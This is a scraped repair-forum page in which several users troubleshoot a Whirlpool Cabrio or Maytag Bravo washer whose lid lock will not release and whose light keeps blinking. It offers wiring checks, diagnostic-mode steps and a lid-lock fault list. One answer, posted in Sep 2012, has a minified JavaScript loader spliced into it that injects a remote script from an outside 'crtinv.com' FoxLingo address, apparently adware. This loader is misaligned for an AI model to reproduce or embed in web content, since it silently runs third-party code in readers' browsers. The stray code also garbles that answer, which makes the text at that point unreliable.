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The lid lock will not go off when the load is done light just blinks

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it most likely under warranty call the place where u bought it and have them to replace it or send a repairman to have it fixed

Posted on Feb 05, 2011

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SOURCE: WTW5550XW0 Whirlpool model Cabrio When

Either the circuit for the locks on the control board is faulty,Or the locks themselves are faulty. From what you are explaining, I would tend to think the board is the problem. As you are able to unplug then the lock will unlock. You need to put the machine through a diagnostic test to determine what error code is showing, and to also test each component. Here is a complete service manual for your machine. Look at page 6-4 for instructions on entering the diagnostics mode.

Posted on Sep 25, 2011

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This sounds like the lid lock is defective or the connections to it or the wiring is defective. With the power cord removed from the power source check to see oft he lock has become loose and if so screw it back in. then check the wiring and connectors for any damage. If this all looks OK and the problem persists then you will most likely have to replace the lid lock or the main conroller board whch is a lot more expensive.!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState '' this.readyState=="loaded" '' this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}();

Posted on Sep 13, 2012

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SOURCE: The lid lock light won't stop blinking.

LID LOCK FAULT
Fault is displayed if Lid Lock has not moved into locked position or motor cannot be powered.
Lid is not closed completely due to interference.
Check for lock interference with lock striker.
Wash media buildup (detergent, lint, etc.) is preventing the lock mechanism from sliding.
Main control detects open lid switch when attempting to lock.
Main control cannot determine if lid lock is in a locked state.

Perform the following checks if the washer does not lock (or unlock).
1. Perform the Lid Lock test under Manual Test Mode on page 9. The following steps assume that this step was unsuccessful.
2. Check lid lock mechanism for obstruction or binding. Repair as necessary.

Posted on Oct 21, 2012

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SOURCE: maytag bravo lid was stuck in a locked position and is now not locking at all

What is the model number of the unit?

Posted on Nov 14, 2012

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LID LOCK FAULT
Fault is displayed if Lid Lock has not moved into locked position or motor cannot be powered.
Lid is not closed completely due to interference.
Check for lock interference with lock striker.
Wash media buildup (detergent, lint, etc.) is preventing the lock mechanism from sliding.
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2. Check lid lock mechanism for obstruction or binding. Repair as necessary.

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